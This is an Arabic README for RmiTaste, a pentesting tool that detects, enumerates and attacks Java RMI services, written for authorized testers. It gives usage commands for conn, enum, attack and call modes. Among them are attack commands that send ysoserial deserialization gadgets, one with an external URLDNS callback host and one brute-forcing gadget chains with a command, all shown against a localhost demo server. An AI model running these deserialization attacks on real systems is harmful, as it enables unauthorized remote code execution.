
أداة اختبار أمني لـ Java RMI لكشف وتعداد واستغلال خدمات RMI غير الآمنة باستخدام ysoserial deserialization gadgets لتحقيق تنفيذ الأوامر عن بُعد.
يسمح RmiTaste لمحترفي الأمن باكتشاف وتعداد والتفاعل مع ومهاجمة خدمات RMI عن طريق استدعاء الطرق عن بُعد باستخدام أدوات من ysoserial. كما يتيح استدعاء الطرق عن بُعد بمعاملات محددة.
تمت كتابة RmiTaste لمساعدة محترفي الأمن في تحديد خدمات RMI غير الآمنة على الأنظمة التي حصل المستخدم على إذن مسبق لاختبارها. الوصول غير المصرح به إلى أنظمة الحاسوب غير قانوني ويجب استخدام RmiTaste وفقًا لجميع القوانين ذات الصلة. قد يؤدي عدم الامتثال إلى مقاضاتك. لا يتحمل مطورو RmiTaste أي مسؤولية ولا يتحملون مسؤولية أي سوء استخدام أو ضرر ناتج عن هذا البرنامج.
يتطلب openjdk 11.0.3.
mvn package
java -cp ".:libs_attack/*:target/rmitaste-1.0-SNAPSHOT-all.jar" m0.rmitaste.RmiTaste -h
__________ ._____________ __
\______ \ _____ |__\__ ___/____ _______/ |_ ____
| _// \| | | | \__ \ / ___/\ __\/ __ \
| | \ Y Y \ | | | / __ \_\___ \ | | \ ___/
|____|_ /__|_| /__| |____| (____ /____ > |__| \___ >
\/ \/ \/ \/ \/
@author Marcin Ogorzelski (mzero - @_mzer0) STM Solutions
Warning: RmiTaste was written to aid security professionals in identifying the
insecure use of RMI services on systems which the user has prior
permission to attack. RmiTaste must be used in accordance with all
relevant laws. Failure to do so could lead to your prosecution.
The developers assume no liability and are not responsible for any
misuse or damage caused by this program.
يحتوي RmiTaste على 4 أوضاع: conn و enum و attack و call. كل وضع له تعليمات منفصلة.
java -cp ".:libs_attack/*:target/rmitaste-1.0-SNAPSHOT-all.jar" m0.rmitaste.RmiTaste -h
(...)
Usage: <main class> [-h] [COMMAND]
-h, --help display this help message
Commands:
conn check connection to host
enum enumerate RMI service
attack attack RMI registry methods
call call specific method on RMI remote object
يسمح وضع conn بالتحقق مما إذا كان المنفذ هو منفذ خدمة RMI.
# Check if 127.0.0.1:1099 is RMI Service
java -cp ".:libs_attack/*:target/rmitaste-1.0-SNAPSHOT-all.jar" m0.rmitaste.RmiTaste conn -t 127.0.0.1 -p 1099
يسمح وضع enum بجلب معلومات حول خدمة RMI مثل: أسماء الكائنات البعيدة وأسماء الفئات التي يقوم الكائن البعيد بتنفيذها أو توسيعها. إذا كانت الواجهة التي ينفذها الكائن البعيد متاحة في مسار فئة RmiTaste، فسيقوم RmiTaste بطباعة جميع الطرق البعيدة التي يمكنك استدعاؤها على هذا الكائن البعيد.
# RMI service enumeration
java -cp ".:libs_attack/*:target/rmitaste-1.0-SNAPSHOT-all.jar" m0.rmitaste.RmiTaste enum -t 127.0.0.1 -p 1099
يسمح وضع attack باستدعاء طريقة بعيدة بسلسلة أدوات محددة من ysoserial. افترض أن الكائن البعيد يحتوي على الطرق التالية:
acc1 [object] [127.0.1.1:38293]
implements java.rmi.Remote [interface]
extends java.lang.reflect.Proxy [class]
implements m0.rmitaste.example.server.ClientAccount [interface]
setPin(java.lang.String param0); [method]
Parameters: param0; may be vulnerable to Java Deserialization! [info]
getBalance(); [method]
deposit(java.lang.Object param0); [method]
Parameters: param0; may be vulnerable to Java Deserialization! [info]
withdraw(float param0); [method]
# Call all remote methods with URLDNS gadget as parameter
java -cp ".:libs_attack/*:target/rmitaste-1.0-SNAPSHOT-all.jar" m0.rmitaste.RmiTaste attack -t 127.0.0.1 -p 1099 -g "URLDNS" -c "http://rce.mzero.pl"
# Call acc1:m0.rmitaste.example.server.ClientAccount:deposit method with URLDNS gadget as parameter
java -cp ".:libs_attack/*:target/rmitaste-1.0-SNAPSHOT-all.jar" m0.rmitaste.RmiTaste attack -t 127.0.0.1 -p 1099 -m "acc1:m0.rmitaste.example.server.ClientAccount:deposit" -g "URLDNS" -c "http://rce.mzero.pl"
يسمح الخيار "-gen bruteforce" بمحاولة الطريقة البعيدة بأدوات من ysoserial. في هذا المثال، سيتم استدعاء طريقة deposit عدة مرات بأدوات من ysoserial.
# Call acc1:m0.rmitaste.example.server.ClientAccount:deposit method with gadgets from ysoserial and command ping 127.0.0.1
java -cp ".:libs_attack/*:target/rmitaste-1.0-SNAPSHOT-all.jar" m0.rmitaste.RmiTaste attack -t 127.0.0.1 -p 1099 -m "acc1:m0.rmitaste.example.server.ClientAccount:deposit" -gen bruteforce -c "ping 127.0.0.1"
يسمح وضع call باستدعاء طريقة محددة على كائن RMI البعيد. افترض أن الكائن البعيد يحتوي على الطرق التالية:
acc1 [object] [127.0.1.1:38293]
implements java.rmi.Remote [interface]
extends java.lang.reflect.Proxy [class]
implements m0.rmitaste.example.server.ClientAccount [interface]
setPin(java.lang.String param0); [method]
Parameters: param0; may be vulnerable to Java Deserialization! [info]
getBalance(); [method]
deposit(java.lang.Object param0); [method]
Parameters: param0; may be vulnerable to Java Deserialization! [info]
withdraw(float param0); [method]
# Call m0.rmitaste.example.server.ClientAccount.getBalance method on acc1 remote object
java -cp ".:libs_attack/*:target/rmitaste-1.0-SNAPSHOT-all.jar" m0.rmitaste.RmiTaste call -t 127.0.0.1 -p 1099 -m "acc1:m0.rmitaste.example.server.ClientAccount:getBalance"
# Call m0.rmitaste.example.server.ClientAccount.setPin("1234") method on acc1 remote object
java -cp ".:libs_attack/*:target/rmitaste-1.0-SNAPSHOT-all.jar" m0.rmitaste.RmiTaste call -t 127.0.0.1 -p 1099 -m "acc1:m0.rmitaste.example.server.ClientAccount:setPin" -mp "string=1234"
خادم العرض التوضيحي متوفر هنا.
تشغيل خادم العرض التوضيحي.
تعداد الهدف.
root@keyisinyourmind:/media/sf_pentest2/Tools/python/Toolset/Others/RmiTasteTool# java -cp ".:libs_attack/*:target/rmitaste-1.0-SNAPSHOT-all.jar" m0.rmitaste.RmiTaste enum -t 127.0.0.1 -p 1099
acc1 [object] [127.0.1.1:42881]
extends java.rmi.server.RemoteObjectInvocationHandler [class]
implements java.rmi.Remote [interface]
extends java.lang.reflect.Proxy [class]
extends java.rmi.server.RemoteObject [class]
implements m0.rmitaste.example.server.ClientAccount [interface]
No methods found. I don't have remote object interface. Give it to me!
acc2 [object] [127.0.1.1:42881]
extends java.rmi.server.RemoteObjectInvocationHandler [class]
implements java.rmi.Remote [interface]
extends java.lang.reflect.Proxy [class]
extends java.rmi.server.RemoteObject [class]
implements m0.rmitaste.example.server.ClientAccount [interface]
No methods found. I don't have remote object interface. Give it to me!
كما ترى، يحتاج RmiTaste إلى واجهة الكائن البعيد. أثناء اختبارات الاختراق، ستحتاج إلى العثور على هذه الواجهة. في هذا المثال، فقط قم بنسخ rmitaste.examples-1.0-SNAPSHOT-all.jar إلى مجلد libs_attack. تعداد الهدف مرة أخرى:
acc1 [object] [127.0.1.1:42881]
extends java.rmi.server.RemoteObjectInvocationHandler [class]
implements java.rmi.Remote [interface]
extends java.lang.reflect.Proxy [class]
extends java.rmi.server.RemoteObject [class]
implements m0.rmitaste.example.server.ClientAccount [interface]
setPin(java.lang.String param0); [method]
Parameters: param0; may be vulnerable to Java Deserialization! [info]
getBalance(); [method]
deposit(java.lang.Object param0); [method]
Parameters: param0; may be vulnerable to Java Deserialization! [info]
withdraw(float param0); [method]
acc2 [object] [127.0.1.1:42881]
extends java.rmi.server.RemoteObjectInvocationHandler [class]
implements java.rmi.Remote [interface]
extends java.lang.reflect.Proxy [class]
extends java.rmi.server.RemoteObject [class]
implements m0.rmitaste.example.server.ClientAccount [interface]
setPin(java.lang.String param0); [method]
Parameters: param0; may be vulnerable to Java Deserialization! [info]
getBalance(); [method]
deposit(java.lang.Object param0); [method]
Parameters: param0; may be vulnerable to Java Deserialization! [info]
withdraw(float param0); [method]
تويتر: @_mzer0